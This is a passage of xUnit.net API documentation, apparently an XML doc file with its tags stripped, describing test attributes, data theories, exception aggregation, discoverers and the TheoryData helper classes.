350 | Base attribute which indicates a test method interception (allows code to be run before and
351 | after the test is run).
352 |
353 |
354 |
355 |
356 | This method is called after the test method is executed.
357 |
358 | The method under test
359 |
360 |
361 |
362 | This method is called before the test method is executed.
363 |
364 | The method under test
365 |
366 |
367 |
368 | Abstract attribute which represents a data source for a data theory.
369 | Data source providers derive from this attribute and implement GetData
370 | to return the data for the theory.
371 | Caution: the property is completely enumerated by .ToList() before any test is run. Hence it should return independent object sets.
372 |
373 |
374 |
375 |
376 | Returns the data to be used to test the theory.
377 |
378 | The method that is being tested
379 | One or more sets of theory data. Each invocation of the test method
380 | is represented by a single object array.
381 |
382 |
383 |
384 | Marks all test cases generated by this data source as skipped.
385 |
386 |
387 |
388 |
389 | Default implementation of . Uses reflection to find the
390 | data associated with ; may return null when called
391 | without reflection-based abstraction implementations.
392 |
393 |
394 |
395 |
396 |
397 |
398 |
399 |
400 |
401 |
402 | An attribute used to decorate classes which derive from ,
403 | to indicate how data elements should be discovered.
404 |
405 |
406 |
407 |
408 | Initializes an instance of .
409 |
410 | The fully qualified type name of the discoverer
411 | (f.e., 'Xunit.Sdk.DataDiscoverer')
412 | The name of the assembly that the discoverer type
413 | is located in, without file extension (f.e., 'xunit.execution')
414 |
415 |
416 |
417 | Aggregates exceptions. Intended to run one or more code blocks, and collect the
418 | exceptions thrown by those code blocks.
419 |
420 |
421 |
422 |
423 | Initializes a new instance of the class.
424 |
425 |
426 |
427 |
428 | Initializes a new instance of the class that
429 | contains the exception list of its parent.
430 |
431 | The parent aggregator to copy exceptions from.
432 |
433 |
434 |
435 | Returns true if the aggregator has at least one exception inside it.
436 |
437 |
438 |
439 |
440 | Adds an exception to the aggregator.
441 |
442 | The exception to be added.
443 |
444 |
445 |
446 | Adds exceptions from another aggregator into this aggregator.
447 |
448 | The aggregator whose exceptions should be copied.
449 |
450 |
451 |
452 | Clears the aggregator.
453 |
454 |
455 |
456 |
457 | Runs the code, catching the exception that is thrown and adding it to
458 | the aggregate.
459 |
460 | The code to be run.
461 |
462 |
463 |
464 | Runs the code, catching the exception that is thrown and adding it to
465 | the aggregate.
466 |
467 | The code to be run.
468 |
469 |
470 |
471 | Runs the code, catching the exception that is thrown and adding it to
472 | the aggregate.
473 |
474 | The code to be run.
475 |
476 |
477 |
478 | Returns an exception that represents the exceptions thrown by the code
479 | passed to the or method.
480 |
481 | Returns null if no exceptions were thrown; returns the
482 | exact exception if a single exception was thrown; returns
483 | if more than one exception was thrown.
484 |
485 |
486 |
487 | This class is responsible for discovering the data available in an implementation
488 | of . The discovery process may not always have access
489 | to reflection (i.e., running in Resharper), so the discoverer must make a best
490 | effort to return data, but may return null when there is not enough information
491 | available (for example, if reflection is required to answer the question).
492 |
493 |
494 |
495 |
496 | Returns the data to be used to test the theory.
497 |
498 |
499 | This will be called during
500 | discovery, at which point the may or may not
501 | be backed by reflection (i.e., implementing ).
502 | If the data is not available because reflection is required, then you may return
503 | null to inform xUnit that the quantity of data is unknown at this point.
504 | When the tests are run, if you returned back null during discovery, then this method
505 | will be called again to retrieve the data, this time guaranteed to provide
506 | an implementation of . At this time, you
507 | must return the actual data, and returning null is not legal.
508 |
509 | The data attribute being discovered
510 | The method that is being tested/discovered
511 | The theory data (or null during discovery, if not enough
512 | information is available to enumerate the data)
513 |
514 |
515 |
516 | Returns true if the data attribute supports enumeration during
517 | discovery; false otherwise. Data attributes with expensive computational
518 | costs and/or randomized data sets should return false.
519 |
520 |
521 |
522 |
523 | Used by discovery, execution, and extensibility code to send messages to the runner.
524 |
525 |
526 |
527 |
528 | Queues a message to be sent to the runner.
529 |
530 | The message to be sent to the runner
531 |
532 | Returns true if discovery/execution should continue; false, otherwise.
533 | The return value may be safely ignored by components which are not directly responsible
534 | for discovery or execution, and this is intended to communicate to those sub-systems that
535 | that they should short circuit and stop their work as quickly as is reasonable.
536 |
537 |
538 |
539 |
540 | Implementation of used to discover the data
541 | provided by .
542 |
543 |
544 |
545 |
546 |
547 |
548 |
549 |
550 |
551 |
552 | A class implements this interface to participate in ordering tests
553 | for the test runner. Test case orderers are applied using the
554 | , which can be applied at
555 | the assembly, test collection, and test class level.
556 |
557 |
558 |
559 |
560 | Orders test cases for execution.
561 |
562 | The test cases to be ordered.
563 | The test cases in the order to be run.
564 |
565 |
566 |
567 | Marker interface that must be implemented by test framework attributes, so
568 | that the test framework attribute discoverer can find them.
569 |
570 |
571 |
572 |
573 | Interface to be implemented by classes which are used to discover the test framework.
574 |
575 |
576 |
577 |
578 | Gets the type that implements to be used to discover
579 | and run tests.
580 |
581 | The test framework attribute that decorated the assembly
582 | The test framework type
583 |
584 |
585 |
586 | Marker interface used by attributes which provide trait data.
587 |
588 |
589 |
590 |
591 | This interface is implemented by discoverers that provide trait values to
592 | xUnit.net v2 tests.
593 |
594 |
595 |
596 |
597 | Gets the trait values from the trait attribute.
598 |
599 | The trait attribute containing the trait values.
600 | The trait values.
601 |
602 |
603 |
604 | Represents a single test case from xUnit.net v2.
605 |
606 |
607 |
608 |
609 | Gets the exception that happened during initialization. When this is set, then
610 | the test execution should fail with this exception.
611 |
612 |
613 |
614 |
615 | Gets the method to be run. Differs from . in that
616 | any generic argument types will have been closed based on the arguments.
617 |
618 |
619 |
620 |
621 | Gets the timeout of the test, in milliseconds; if zero or negative, means the test case has no timeout.
622 |
623 |
624 |
625 |
626 | Executes the test case, returning 0 or more result messages through the message sink.
627 |
628 | The message sink used to send diagnostic messages to.
629 | The message bus to report results to.
630 | The arguments to pass to the constructor.
631 | The error aggregator to use for catching exception.
632 | The cancellation token source that indicates whether cancellation has been requested.
633 | Returns the summary of the test case run.
634 |
635 |
636 |
637 | Interface to be implemented by classes which are used to discover tests cases attached
638 | to test methods that are attributed with (or a subclass).
639 |
640 |
641 |
642 |
643 | Discover test cases from a test method.
644 |
645 | The discovery options to be used.
646 | The test method the test cases belong to.
647 | The fact attribute attached to the test method.
648 | Returns zero or more test cases represented by the test method.
649 |
650 |
651 |
652 | This interface is intended to be implemented by components which generate test collections.
653 | End users specify the desired test collection factory by applying
654 | at the assembly level. Classes which implement this interface must have a constructor
655 | that takes and .
656 |
657 |
658 |
659 |
660 | Gets the display name for the test collection factory. This information is shown to the end
661 | user as part of the description of the test environment.
662 |
663 |
664 |
665 |
666 | Gets the test collection for a given test class.
667 |
668 | The test class.
669 | The test collection.
670 |
671 |
672 |
673 | Implementation of for discovering .
674 |
675 |
676 |
677 |
678 |
679 |
680 |
681 | Marks an assembly as a platform specific assembly for use with xUnit.net. Type references from
682 | such assemblies are allowed to use a special suffix ("My.Assembly.{Platform}"), which will
683 | automatically be translated into the correct platform-specific name ("My.Assembly.desktop",
684 | "My.Assembly.win8", etc.). This affects both extensibility points which require specifying
685 | a string-based type name and assembly, as well as serialization.
686 |
687 | In v2.1 and later, the supported platform target names include:
688 |
689 | "desktop" (for desktop and PCL tests),
690 | "dotnet" (everything else).
691 |
692 | In v2.0, the following names were also supported:
693 |
694 | "iOS-Universal" (for Xamarin test projects targeting iOS),
695 | "MonoAndroid" (for Xamarin MonoAndroid tests),
696 | "MonoTouch" (for Xamarin MonoTouch tests),
697 | "universal" (for Windows Phone 8.1 and Windows 8.1 tests),
698 | "win8" (for Windows 8 tests),
699 | "wp8" (for Windows Phone 8 Silverlight tests).
700 |
701 | For backward compatibility reasons, the v2.1 runners will support tests linked against
702 | the v2.0 execution libraries.
703 |
704 | Note that file names may be case sensitive (when running on platforms with case sensitive
705 | file systems like Linux), so ensure that your assembly file name casing is consistent, and
706 | that you use the suffixes here with the exact case shown.
707 |
708 |
709 |
710 |
711 | Represents the statistical summary from a run of one or more tests.
712 |
713 |
714 |
715 |
716 | The total number of tests run.
717 |
718 |
719 |
720 |
721 | The number of failed tests.
722 |
723 |
724 |
725 |
726 | The number of skipped tests.
727 |
728 |
729 |
730 |
731 | The total time taken to run the tests, in seconds.
732 |
733 |
734 |
735 |
736 | Adds a run summary's totals into this run summary.
737 |
738 | The run summary to be added.
739 |
740 |
741 |
742 | Decorates an implementation of that is used to
743 | determine which test framework is used to discover and run tests.
744 |
745 |
746 |
747 |
748 | Initializes an instance of .
749 |
750 | The fully qualified type name of the discoverer
751 | (f.e., 'Xunit.Sdk.DataDiscoverer')
752 | The name of the assembly that the discoverer type
753 | is located in, without file extension (f.e., 'xunit.execution')
754 |
755 |
756 |
757 | The implementation of which returns the trait values
758 | for .
759 |
760 |
761 |
762 |
763 |
764 |
765 |
766 | An attribute used to decorate classes which implement ,
767 | to indicate how trait values should be discovered. The discoverer type must implement
768 | .
769 |
770 |
771 |
772 |
773 | Initializes an instance of .
774 |
775 | The fully qualified type name of the discoverer
776 | (f.e., 'Xunit.Sdk.TraitDiscoverer')
777 | The name of the assembly that the discoverer type
778 | is located in, without file extension (f.e., 'xunit.execution')
779 |
780 |
781 |
782 | An attribute used to decorate classes which derive from ,
783 | to indicate how test cases should be discovered.
784 |
785 |
786 |
787 |
788 | Initializes an instance of the class.
789 |
790 | The fully qualified type name of the discoverer
791 | (f.e., 'Xunit.Sdk.FactDiscoverer')
792 | The name of the assembly that the discoverer type
793 | is located in, without file extension (f.e., 'xunit.execution')
794 |
795 |
796 |
797 | Indicates the default display name format for test methods.
798 |
799 |
800 |
801 |
802 | Use a fully qualified name (namespace + class + method)
803 |
804 |
805 |
806 |
807 | Use just the method name (without class)
808 |
809 |
810 |
811 |
812 | Indicates the method display options for test methods.
813 |
814 |
815 |
816 |
817 | Indicates no additional method display options.
818 |
819 | This is the default configuration option.
820 |
821 |
822 |
823 | Replace underscores in display names with a space.
824 |
825 |
826 |
827 |
828 | Replace well-known monikers with their equivalent operator.
829 |
830 |
831 | - lt : <
832 | - le : <=
833 | - eq : =
834 | - ne : !=
835 | - gt : >
836 | - ge : >=
837 |
838 |
839 |
840 |
841 | Replace supported escape sequences with their equivalent character.
842 |
843 |
844 | Encoding
845 | Format
846 |
847 | - ASCIIX hex-digit hex-digit (ex: X2C)
848 | - UnicodeU hex-digit hex-digit hex-digit hex-digit (ex: U00A9)
849 |
850 |
851 |
852 |
853 |
854 | Replaces the period delimiter used in namespace and type references with a comma.
855 |
856 | This option is only honored if the setting is also enabled.
857 |
858 |
859 |
860 | Enables all method display options.
861 |
862 |
863 |
864 |
865 | Formats arguments for display in theories.
866 |
867 |
868 |
869 |
870 | Format the value for presentation.
871 |
872 | The value to be formatted.
873 | The formatted value.
874 |
875 |
876 |
877 | Default implementation of used by the xUnit.net equality assertions.
878 |
879 | The type that is being compared.
880 |
881 |
882 |
883 | Initializes a new instance of the class.
884 |
885 | The inner comparer to be used when the compared objects are enumerable.
886 |
887 |
888 |
889 |
890 |
891 |
892 |
893 |
894 |
895 | A class that wraps to create .
896 |
897 | The type that is being compared.
898 |
899 |
900 |
901 | Initializes a new instance of the class.
902 |
903 | The comparer that is being adapted.
904 |
905 |
906 |
907 |
908 |
909 |
910 |
911 |
912 |
913 | Used to decorate an assembly, test collection, or test class to allow
914 | the use of a custom .
915 |
916 |
917 |
918 |
919 | Initializes a new instance of the class.
920 |
921 | The type name of the orderer class (that implements ).
922 | The assembly that exists in.
923 |
924 |
925 |
926 | Used to decorate an assembly to allow the use of a custom .
927 |
928 |
929 |
930 |
931 | Initializes a new instance of the class.
932 |
933 | The type name of the orderer class (that implements ).
934 | The assembly that exists in.
935 |
936 |
937 |
938 | Used to decorate an assembly to allow the use of a custom .
939 |
940 |
941 |
942 |
943 | Initializes an instance of .
944 |
945 | The fully qualified type name of the test framework
946 | (f.e., 'Xunit.Sdk.XunitTestFramework')
947 | The name of the assembly that the test framework type
948 | is located in, without file extension (f.e., 'xunit.execution')
949 |
950 |
951 |
952 | Marks a test method as being a data theory. Data theories are tests which are fed
953 | various bits of data from a data source, mapping to parameters on the test method.
954 | If the data source contains multiple rows, then the test method is executed
955 | multiple times (once with each data row). Data is provided by attributes which
956 | derive from (notably, and
957 | ).
958 |
959 |
960 |
961 |
962 | Provides data for theories based on collection initialization syntax.
963 |
964 |
965 |
966 |
967 | Adds a row to the theory.
968 |
969 | The values to be added.
970 |
971 |
972 |
973 |
974 |
975 |
976 |
977 |
978 |
979 | Represents a set of data for a theory with a single parameter. Data can
980 | be added to the data set using the collection initializer syntax.
981 |
982 | The parameter type.
983 |
984 |
985 |
986 | Adds data to the theory data set.
987 |
988 | The data value.
989 |
990 |
991 |
992 | Represents a set of data for a theory with 2 parameters. Data can
993 | be added to the data set using the collection initializer syntax.
994 |
995 | The first parameter type.
996 | The second parameter type.
997 |
998 |
999 |
1000 | Adds data to the theory data set.
1001 |
1002 | The first data value.
1003 | The second data value.
1004 |
1005 |
1006 |
1007 | Represents a set of data for a theory with 3 parameters. Data can
1008 | be added to the data set using the collection initializer syntax.
1009 |
1010 | The first parameter type.
1011 | The second parameter type.
1012 | The third parameter type.
1013 |
1014 |
1015 |
1016 | Adds data to the theory data set.
1017 |
1018 | The first data value.
1019 | The second data value.
1020 | The third data value.
1021 |
1022 |
1023 |
1024 | Represents a set of data for a theory with 4 parameters. Data can
1025 | be added to the data set using the collection initializer syntax.
1026 |
1027 | The first parameter type.
1028 | The second parameter type.
1029 | The third parameter type.
1030 | The fourth parameter type.
1031 |
1032 |
1033 |
1034 | Adds data to the theory data set.
1035 |
1036 | The first data value.
1037 | The second data value.
1038 | The third data value.
1039 | The fourth data value.
1040 |
1041 |
1042 |
1043 | Represents a set of data for a theory with 5 parameters. Data can
1044 | be added to the data set using the collection initializer syntax.
1045 |
1046 | The first parameter type.
1047 | The second parameter type.
1048 | The third parameter type.
1049 | The fourth parameter type.
1050 | The fifth parameter type.
1051 |
1052 |
1053 |
1054 | Adds data to the theory data set.
1055 |
1056 | The first data value.
1057 | The second data value.
1058 | The third data value.
1059 | The fourth data value.
1060 | The fifth data value.
1061 |
1062 |
1063 |
1064 | Represents a set of data for a theory with 5 parameters. Data can
1065 | be added to the data set using the collection initializer syntax.
1066 |
1067 | The first parameter type.
1068 | The second parameter type.
1069 | The third parameter type.
1070 | The fourth parameter type.
1071 | The fifth parameter type.
1072 | The sixth parameter type.
1073 |
1074 |
1075 |
1076 | Adds data to the theory data set.
1077 |
1078 | The first data value.
1079 | The second data value.
1080 | The third data value.
1081 | The fourth data value.
1082 | The fifth data value.
1083 | The sixth data value.
1084 |
1085 |
1086 |
1087 | Represents a set of data for a theory with 5 parameters. Data can
1088 | be added to the data set using the collection initializer syntax.
1089 |
1090 | The first parameter type.
1091 | The second parameter type.
1092 | The third parameter type.
1093 | The fourth parameter type.
1094 | The fifth parameter type.
1095 | The sixth parameter type.
1096 | The seventh parameter type.
1097 |
1098 |
1099 |
1100 | Adds data to the theory data set.
1101 |
1102 | The first data value.
1103 | The second data value.
1104 | The third data value.
1105 | The fourth data value.
1106 | The fifth data value.
1107 | The sixth data value.
1108 | The seventh data value.
1109 |
1110 |
1111 |
1112 | Represents a set of data for a theory with 5 parameters. Data can
1113 | be added to the data set using the collection initializer syntax.
1114 |
1115 | The first parameter type.
1116 | The second parameter type.
1117 | The third parameter type.
1118 | The fourth parameter type.
1119 | The fifth parameter type.
1120 | The sixth parameter type.
1121 | The seventh parameter type.
1122 | The eigth parameter type.
1123 |
1124 |
1125 |
1126 | Adds data to the theory data set.
1127 |
1128 | The first data value.
1129 | The second data value.
1130 | The third data value.
1131 | The fourth data value.
1132 | The fifth data value.
1133 | The sixth data value.
1134 | The seventh data value.
1135 | The eigth data value.
1136 |
1137 |
1138 |
1139 | Represents a set of data for a theory with 5 parameters. Data can
1140 | be added to the data set using the collection initializer syntax.
1141 |
1142 | The first parameter type.
1143 | The second parameter type.
1144 | The third parameter type.
1145 | The fourth parameter type.
1146 | The fifth parameter type.
1147 | The sixth parameter type.
1148 | The seventh parameter type.
1149 | The eigth parameter type.
1150 | The nineth parameter type.
1151 |
1152 |
1153 |
1154 | Adds data to the theory data set.
1155 |
1156 | The first data value.
1157 | The second data value.
1158 | The third data value.
1159 | The fourth data value.
1160 | The fifth data value.
1161 | The sixth data value.
1162 | The seventh data value.
1163 | The eigth data value.
1164 | The nineth data value.
1165 |
1166 |
1167 |
1168 | Represents a set of data for a theory with 5 parameters. Data can
1169 | be added to the data set using the collection initializer syntax.
1170 |
1171 | The first parameter type.
1172 | The second parameter type.
1173 | The third parameter type.
1174 | The fourth parameter type.
1175 | The fifth parameter type.
1176 | The sixth parameter type.
1177 | The seventh parameter type.
1178 | The eigth parameter type.
1179 | The nineth parameter type.
1180 | The tenth parameter type.
1181 |
1182 |
1183 |
1184 | Adds data to the theory data set.
1185 |
1186 | The first data value.
1187 | The second data value.
1188 | The third data value.
1189 | The fourth data value.
1190 | The fifth data value.
1191 | The sixth data value.
1192 | The seventh data value.
1193 | The eigth data value.
1194 | The nineth data value.
1195 | The tenth data value.
1196 |
1197 |
1198 |
1199 | Attribute used to decorate a test method with arbitrary name/value pairs ("traits").
1200 |
1201 |
1202 |
1203 |
1204 | Creates a new instance of the class.
1205 |
1206 | The trait name
1207 | The trait value
1208 |
1209 |
1210 |
1211 | Rethrows an exception object without losing the existing stack trace information
1212 |
1213 | The exception to re-throw.
1214 |
1215 | For more information on this technique, see
1216 | http://www.dotnetjunkies.com/WebLog/chris.taylor/archive/2004/03/03/8353.aspx.
1217 | The remote_stack_trace string is here to support Mono.
1218 |
1219 |
1220 |
1221 |
1222 | Unwraps an exception to remove any wrappers, like .
1223 |
1224 | The exception to unwrap.
1225 | The unwrapped exception.
1226 |
1227 |
1228 |
1229 | Guard class, used for guard clauses and argument validation
1230 |
1231 |
1232 |
1233 |
1234 |
1235 |
1236 |
1237 |
1238 |
1239 |
1240 |
1241 |
1242 |
1243 |
--------------------------------------------------------------------------------